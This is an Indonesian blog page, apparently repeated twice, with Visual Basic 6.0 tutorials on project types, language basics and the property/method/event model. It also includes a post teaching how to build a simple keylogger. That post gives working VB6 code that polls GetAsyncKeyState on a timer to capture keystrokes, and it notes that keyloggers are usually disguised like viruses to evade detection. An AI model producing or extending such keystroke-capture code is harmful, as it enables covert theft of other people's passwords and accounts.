Untuk memulai pembuatan program aplikasi di dalam Visual Basic, yang dilakukan adalah membuat project baru. Project adalah sekumpulan form, modul, fungsi, data dan laporan yang digunakan dalam suatu aplikasi. Membuat projrct baru dapat dilakukan dengan memilih menu [File] >> [New Project] atau dengan menekan ikon [new project] pada Toolbar yang terletak di pojok kiri atas. Setelah itu akan muncul konfirmasi untuk jenis project dari program aplikasi yan akan dibuat seperti terlihat pada gambar. berikut:
Visual Basic 6.0 menyediakan 13 jenis project yang bisa dibuat seperti terlihat pada gambar di atas. Ada beberapa project yang biasa digunakan oleh banyak pengguna Visual Basic, antara lain:
(1) Standard EXE: Project standar dalam Visual Basic dengan komponen-komponen standar. Jenis project ini sangat sederhana, tetapi memiliki keunggulan bahwa semua komponennya dapat diakui oleh semua unit komputer dan semua user meskipun bukan administrator. Pada buku ini akan digunakan project Standard EXE ini, sebagai konsep pemrograman visualnya.
(2) ActiveX EXE: Project ini adalah project ActiveX berisi komponen-komponen kemampuan intuk berinteraksi dengan semua aplikasi di sistem operasi windows.
(3) ActiveX DLL: Project ini menghasilkan sebuah aplikasi library yang selanjutnya dapat digunakan oleh semua aplikasi di sistem operasi windows.
(4) ActiveX Control: Project ini menghasilkan komponen-komponen baru untuk aplikasi Visual Basic yang lain
(5) VB Application Wizard: Project ini memandu pengguna untuk membuat aplikasi secara mudah tanpa harus pusing-pusing dengan perintah-perintah pemrograman.
(6) Addin: Project seperti Standard EXE tetapi dengan berbagai macam komponen tambahan yang memungkinkan kebebasan kreasi dari pengguna.
(7) Data project: Project ini melengkapi komponennya dengan komponen-komponen database. Sehingga bisa dikatakan project ini memang disediakan untuk keperluan pembuatan aplikasi database.
(8) DHTML Application: Project ini digunakan untuk membuat aplikasi internet pada sisi client (client side) dengan fungsi-fungsi DHTML.
(9) IIS Application: Project ini menghasilkan apliaksi internet pada sisi server (server side) dengan komponen-komponen CGI (Common Gateway Interface).
Diposkan oleh Hackerlink Team
Mengenal Bahasa Pemrograman Visual Basic
Bahasa Basic pada dasarnya adalah bahasa yang mudah dimengerti sehingga pemrograman di dalam bahasa Basic dapat dengan mudah dilakukan meskipun oleh orang yang baru belajar membuat program. Hal ini lebih mudah lagi setelah hadirnya Microsoft Visual Basic, yang dibangun dari ide untuk membuat bahasa yang sederhana dan mudah dalam pembuatan scriptnya (simple scripting language) untuk graphic user interface yang dikembangkan dalam sistem operasi Microsoft Windows.
Visual Basic merupakan bahasa pemrograman yang sangat mudah dipelajari, dengan teknik pemrograman visual yang memungkinkan penggunanya untuk berkreasi lebih baik dalam menghasilkan suatu program aplikasi. Ini terlihat dari dasar pembuatan dalam visual basic adalah FORM, dimana pengguna dapat mengatur tampilan form kemudian dijalankan dalam script yang sangat mudah.
Ledakan pemakaian Visual Basic ditandai dengan kemampuan Visual Basic untuk dapat berinteraksi dengan aplikasi lain di dalam sistem operasi Windows dengan komponen ActiveX Control. Dengan komponen ini memungkinkan penguna untuk memanggil dan menggunakan semua model data yang ada di dalam sistem operasi windows. Hal ini juga ditunjang dengan teknik pemrograman di dalam Visual Basic yang mengadopsi dua macam jenis pemrograman yaitu Pemrograman Visual dan Object Oriented Programming (OOP).
Visual Basic 6.0 sebetulnya perkembangan dari versi sebelumnya dengan beberapa penambahan komponen yang sedang tren saat ini, seperti kemampuan pemrograman internet dengan DHTML (Dynamic HyperText Mark Language), dan beberapa penambahan fitur database dan multimedia yang semakin baik. Sampai saat ini Visual Basic 6.0 masih merupakan pilih pertama di dalam membuat program aplikasi yang ada di pasar perangkat lunak nasional. Hal ini disebabkan oleh kemudahan dalam melakukan proses development dari aplikasi yang dibuat.
Diposkan oleh Hackerlink Team
Konsep dasar pemrograman visual basic 6.0
Konsep dasar pemrograman Visual Basic 6.0, adalah pembuatan form dengan mengikuti aturan pemrograman Property, Metode dan Event. Hal ini berarti:
(1) Property:
Setiap komponen di dalam pemrograman Visual Basic dapat diatur propertinya sesuai dengan kebutuhan aplikasi. Property yang tidak boleh dilupakan pada setiap komponen adalah “Name”, yang berarti nama variabel (komponen) yang akan digunakan dalam scripting. Properti “Name” ini hanya bisa diatur melalui jendela Property, sedangkan nilai peroperti yang lain bisa diatur melalui script seperti
* Command1.Caption=”Play”
* Text1.Text=”Visual Basic”
* Label1.Visible=False
* Timer1.Enable=True
(2) Metode:
Bahwa jalannya program dapat diatur sesuai aplikasi dengan menggunakan metode pemrograman yang diatur sebagai aksi dari setiap komponen. Metode inilah tempat untuk mengekpresikan logika pemrograman dari pembuatan suatu prgram aplikasi.
(3) Event:
Setiap komponen dapat beraksi melalui event, seperti event click pada command button yang tertulis dalam layar script Command1_Click, atau event Mouse Down pada picture yang tertulis dengan Picture1_MouseDown. Pengaturan event dalam setiap komponen yang akan menjalankan semua metode yang dibuat.
Diposkan oleh Hackerlink Team
Membuat Keylogger dengan Visual Basic
Pernah dengar Keylogger ?
Tentunya pernah bagi anda yang suka berkutat dengan dunia komputer dan internet. Karena penting bagi kita, untuk menjaga privasi (password dan akun) yang kita miliki dalam dunia maya. Karena bisa saja saat kita berselancar di dunia netting, dengan menggunakan komputer orang lain (warnet/teman) telah dipasang suatu alat lunak bernama Keylogger untuk mencatat aktifitas yang kita ketikan melalui keybord. Tuing…. Bisa saja akun email, blog,web, dll di ambil alih oleh orang yang memanfatkan Keylogger tersebut. Bagai mana she membuat keylogger, Key logger sesungguhnya biasanya di jadikan seperti virus agar tidak bisa terdeteksi keberadanya. Namun tujuan utamanya hanya satu, yaitu mencatat aktifitas key board. Kali ini kita akan membuat keylogger sederhana (fungsi utama), yang mampu mencatat aktifitas user yang dilakukan melalui tombol keyboard. Okay, dalam tutor ini kita memakai visual basic 6.0, bagi anda yang suka bercoding bahasa lain juga tidak masalah karena yang kita butuhkan disini hanyalah 1 fungsi API. Pembuatan Taruhlah 2 komponen pada form, yaitu Textbox dan Timer dengan properti sbb:
Timer (name:Timer1,interval:200)
Textbox(name:Text1,Multiline:True)
Lihat gambar berikut !
Lalu tuliskan codingnya di balik jendela code form !
Private Declare Function GetAsyncKeyState Lib “user32? (ByVal vKey As Long) As Integer
Private Function GetKey() As String
Dim Num As Byte
For Num = 33 To 122
If GetAsyncKeyState(Num) <> 0 Then
GetKey = Chr(Num)
Exit For
End If
Next
End Function
Private Sub Timer1_Timer()
Text1.Text = Text1.Text & GetKey
End Sub
Penjelasan
GetAsyncKeyState, adalah fungsi API untuk mengecek apakah sedang ada tombol yang ditekan (dengan nilai ASC dalam parameternya). Maka jika ada tombol yang sedang di tekan (dengan nilai asc pada paramaternya – vKey) dia akan mengembalikan nilai bukan 0 (ndok), namun jika saat dia dipanggil tidak ada tombol yang ditekan maka dia mengembalikan nilai 0 (ndok)
Interval 200, pada timer menunjukan, proses pengecekan dilakukan 1/5 detik. Dengan kecepatan ini, terkadang Keylogger menangkap 1 tombol dengan 2 kali output. Namun ini lebih baik, dari pada kita memakai interval yang rendah, karena bisa saja ketikan tidak tertangkap dengan sempurna.
Textbox,kita pakai untuk menampung ketikan user.
Silahkan jalankan maka program akan menangkap aktifitas tangan pada keyboard anda.
Diposkan oleh Hackerlink Team
Visual Basic 6.0 menyediakan 13 jenis project yang bisa dibuat seperti terlihat pada gambar di atas. Ada beberapa project yang biasa digunakan oleh banyak pengguna Visual Basic, antara lain:
(1) Standard EXE: Project standar dalam Visual Basic dengan komponen-komponen standar. Jenis project ini sangat sederhana, tetapi memiliki keunggulan bahwa semua komponennya dapat diakui oleh semua unit komputer dan semua user meskipun bukan administrator. Pada buku ini akan digunakan project Standard EXE ini, sebagai konsep pemrograman visualnya.
(2) ActiveX EXE: Project ini adalah project ActiveX berisi komponen-komponen kemampuan intuk berinteraksi dengan semua aplikasi di sistem operasi windows.
(3) ActiveX DLL: Project ini menghasilkan sebuah aplikasi library yang selanjutnya dapat digunakan oleh semua aplikasi di sistem operasi windows.
(4) ActiveX Control: Project ini menghasilkan komponen-komponen baru untuk aplikasi Visual Basic yang lain
(5) VB Application Wizard: Project ini memandu pengguna untuk membuat aplikasi secara mudah tanpa harus pusing-pusing dengan perintah-perintah pemrograman.
(6) Addin: Project seperti Standard EXE tetapi dengan berbagai macam komponen tambahan yang memungkinkan kebebasan kreasi dari pengguna.
(7) Data project: Project ini melengkapi komponennya dengan komponen-komponen database. Sehingga bisa dikatakan project ini memang disediakan untuk keperluan pembuatan aplikasi database.
(8) DHTML Application: Project ini digunakan untuk membuat aplikasi internet pada sisi client (client side) dengan fungsi-fungsi DHTML.
(9) IIS Application: Project ini menghasilkan apliaksi internet pada sisi server (server side) dengan komponen-komponen CGI (Common Gateway Interface).
Diposkan oleh Hackerlink Team
Mengenal Bahasa Pemrograman Visual Basic
Bahasa Basic pada dasarnya adalah bahasa yang mudah dimengerti sehingga pemrograman di dalam bahasa Basic dapat dengan mudah dilakukan meskipun oleh orang yang baru belajar membuat program. Hal ini lebih mudah lagi setelah hadirnya Microsoft Visual Basic, yang dibangun dari ide untuk membuat bahasa yang sederhana dan mudah dalam pembuatan scriptnya (simple scripting language) untuk graphic user interface yang dikembangkan dalam sistem operasi Microsoft Windows.
Visual Basic merupakan bahasa pemrograman yang sangat mudah dipelajari, dengan teknik pemrograman visual yang memungkinkan penggunanya untuk berkreasi lebih baik dalam menghasilkan suatu program aplikasi. Ini terlihat dari dasar pembuatan dalam visual basic adalah FORM, dimana pengguna dapat mengatur tampilan form kemudian dijalankan dalam script yang sangat mudah.
Ledakan pemakaian Visual Basic ditandai dengan kemampuan Visual Basic untuk dapat berinteraksi dengan aplikasi lain di dalam sistem operasi Windows dengan komponen ActiveX Control. Dengan komponen ini memungkinkan penguna untuk memanggil dan menggunakan semua model data yang ada di dalam sistem operasi windows. Hal ini juga ditunjang dengan teknik pemrograman di dalam Visual Basic yang mengadopsi dua macam jenis pemrograman yaitu Pemrograman Visual dan Object Oriented Programming (OOP).
Visual Basic 6.0 sebetulnya perkembangan dari versi sebelumnya dengan beberapa penambahan komponen yang sedang tren saat ini, seperti kemampuan pemrograman internet dengan DHTML (Dynamic HyperText Mark Language), dan beberapa penambahan fitur database dan multimedia yang semakin baik. Sampai saat ini Visual Basic 6.0 masih merupakan pilih pertama di dalam membuat program aplikasi yang ada di pasar perangkat lunak nasional. Hal ini disebabkan oleh kemudahan dalam melakukan proses development dari aplikasi yang dibuat.
Diposkan oleh Hackerlink Team
Konsep dasar pemrograman visual basic 6.0
Konsep dasar pemrograman Visual Basic 6.0, adalah pembuatan form dengan mengikuti aturan pemrograman Property, Metode dan Event. Hal ini berarti:
(1) Property:
Setiap komponen di dalam pemrograman Visual Basic dapat diatur propertinya sesuai dengan kebutuhan aplikasi. Property yang tidak boleh dilupakan pada setiap komponen adalah “Name”, yang berarti nama variabel (komponen) yang akan digunakan dalam scripting. Properti “Name” ini hanya bisa diatur melalui jendela Property, sedangkan nilai peroperti yang lain bisa diatur melalui script seperti
* Command1.Caption=”Play”
* Text1.Text=”Visual Basic”
* Label1.Visible=False
* Timer1.Enable=True
(2) Metode:
Bahwa jalannya program dapat diatur sesuai aplikasi dengan menggunakan metode pemrograman yang diatur sebagai aksi dari setiap komponen. Metode inilah tempat untuk mengekpresikan logika pemrograman dari pembuatan suatu prgram aplikasi.
(3) Event:
Setiap komponen dapat beraksi melalui event, seperti event click pada command button yang tertulis dalam layar script Command1_Click, atau event Mouse Down pada picture yang tertulis dengan Picture1_MouseDown. Pengaturan event dalam setiap komponen yang akan menjalankan semua metode yang dibuat.
Diposkan oleh Hackerlink Team
Membuat Keylogger dengan Visual Basic
Pernah dengar Keylogger ?
Tentunya pernah bagi anda yang suka berkutat dengan dunia komputer dan internet. Karena penting bagi kita, untuk menjaga privasi (password dan akun) yang kita miliki dalam dunia maya. Karena bisa saja saat kita berselancar di dunia netting, dengan menggunakan komputer orang lain (warnet/teman) telah dipasang suatu alat lunak bernama Keylogger untuk mencatat aktifitas yang kita ketikan melalui keybord. Tuing…. Bisa saja akun email, blog,web, dll di ambil alih oleh orang yang memanfatkan Keylogger tersebut. Bagai mana she membuat keylogger, Key logger sesungguhnya biasanya di jadikan seperti virus agar tidak bisa terdeteksi keberadanya. Namun tujuan utamanya hanya satu, yaitu mencatat aktifitas key board. Kali ini kita akan membuat keylogger sederhana (fungsi utama), yang mampu mencatat aktifitas user yang dilakukan melalui tombol keyboard. Okay, dalam tutor ini kita memakai visual basic 6.0, bagi anda yang suka bercoding bahasa lain juga tidak masalah karena yang kita butuhkan disini hanyalah 1 fungsi API. Pembuatan Taruhlah 2 komponen pada form, yaitu Textbox dan Timer dengan properti sbb:
Timer (name:Timer1,interval:200)
Textbox(name:Text1,Multiline:True)
Lihat gambar berikut !
Lalu tuliskan codingnya di balik jendela code form !
Private Declare Function GetAsyncKeyState Lib “user32? (ByVal vKey As Long) As Integer
Private Function GetKey() As String
Dim Num As Byte
For Num = 33 To 122
If GetAsyncKeyState(Num) <> 0 Then
GetKey = Chr(Num)
Exit For
End If
Next
End Function
Private Sub Timer1_Timer()
Text1.Text = Text1.Text & GetKey
End Sub
Penjelasan
GetAsyncKeyState, adalah fungsi API untuk mengecek apakah sedang ada tombol yang ditekan (dengan nilai ASC dalam parameternya). Maka jika ada tombol yang sedang di tekan (dengan nilai asc pada paramaternya – vKey) dia akan mengembalikan nilai bukan 0 (ndok), namun jika saat dia dipanggil tidak ada tombol yang ditekan maka dia mengembalikan nilai 0 (ndok)
Interval 200, pada timer menunjukan, proses pengecekan dilakukan 1/5 detik. Dengan kecepatan ini, terkadang Keylogger menangkap 1 tombol dengan 2 kali output. Namun ini lebih baik, dari pada kita memakai interval yang rendah, karena bisa saja ketikan tidak tertangkap dengan sempurna.
Textbox,kita pakai untuk menampung ketikan user.
Silahkan jalankan maka program akan menangkap aktifitas tangan pada keyboard anda.
Diposkan oleh Hackerlink Team